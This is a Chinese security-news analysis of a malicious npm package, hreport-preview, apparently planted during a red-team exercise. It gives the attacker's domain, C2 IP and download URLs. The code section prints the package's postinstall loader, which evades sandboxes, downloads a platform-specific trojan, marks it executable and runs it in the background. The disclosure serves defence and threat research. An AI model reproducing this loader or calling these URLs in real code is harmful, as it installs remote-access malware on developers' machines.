当前位置：首页 > news >正文

中路对线发现正在攻防演练中投毒的红队大佬

news 2025/7/12 15:14:35

背景

2023年8月14日晚，墨菲安全实验室发布《首起针对国内金融企业的开源组件投毒攻击事件》NPM投毒事件分析文章，紧接着我们在8月17日监控到一个新的npm投毒组件包 hreport-preview，该投毒组件用来下载木马文件的域名地址竟然是 img.murphysec-nb.love(如下图1)，且该域名注册时间就是8月14号，投毒者使用的注册邮箱同样是hotmail临时注册的邮箱，很显然大概是上次被我们公开投毒行为的攻击者正在火速赶往中路与我们对线，大哥，速度要不要这么快 -_-!

图1：whois查询

当天中午，我们还收到位于大洋彼岸漂亮国科罗拉多州、同样关注此事的软件供应链安全创业公司phylum.io CTO Louis来信（见图2），询问该投毒组件是否是我们所为，很是尴尬。

图2：phylum来信询问投毒包情况

投毒事件分析

8月17日上午7点，墨菲安全实验室监控到用户 rowebrighttix(邮箱：Rowe_Brighttix@hotmail.com)向NPM上传了携带远控木马的NPM组件包 hreport-preview（见图3）。

图3: NPM仓库 hreport-preview 组件包

Readme中标题为Integrate common functions(集成公共功能) ，而下方列举的常用函数名来自于一篇中文文章（见图4），因此投毒者大概率有中文背景。

图4：《56个JavaScript 实用工具函数助你提升开发效率！》文章中提及相关函数名

代码分析

当用户安装组件包时会执行 package.json 中的 postinstall 语句 node index.js，进而针对Windows/Mac/Linux系统分别从以下网址下载恶意木马，该木马会与投毒者的C2服务器(如：152.195.38.76)建立远程连接，进而执行恶意命令、上传/下载文件等操作，疑似被攻防演练的红队所利用：

https://img.murphysec-nb.love/w_x32.exe
https://img.murphysec-nb.love/m_arm
https://img.murphysec-nb.love/l_x64


//index.js 下载恶意木马
//......function check(){(async () => {const result = await getip();if (result){let status = false;let donwoload = ""const platform = os.platform();const arch = os.arch();if (platform === 'win32') {if (uptimeMinutes.toFixed(2) > 10){donwoload="https://img.murphysec-nb.love/"+"w_"+arch+".exe"status = true}} else if (platform === 'darwin') {if (uptimeMinutes.toFixed(2) > 10){donwoload="https://img.murphysec-nb.love/"+"m_"+archstatus = true}} else if (platform === 'linux') {donwoload="https://img.murphysec-nb.love/"+"l_"+archawait (async () => {const result = await checkCgroup();if (result) {status = true} else {if (uptimeMinutes.toFixed(2) > 10){status = true}}})();} else {return}if(status) {await (async () => {const result = await downloadAndSaveFile(donwoload);if (result !=null){if (platform === 'linux' ||platform === 'darwin' ){addExecutablePermission(result)}runInBackground(result)}})();}else {process.exit(0);}}})();}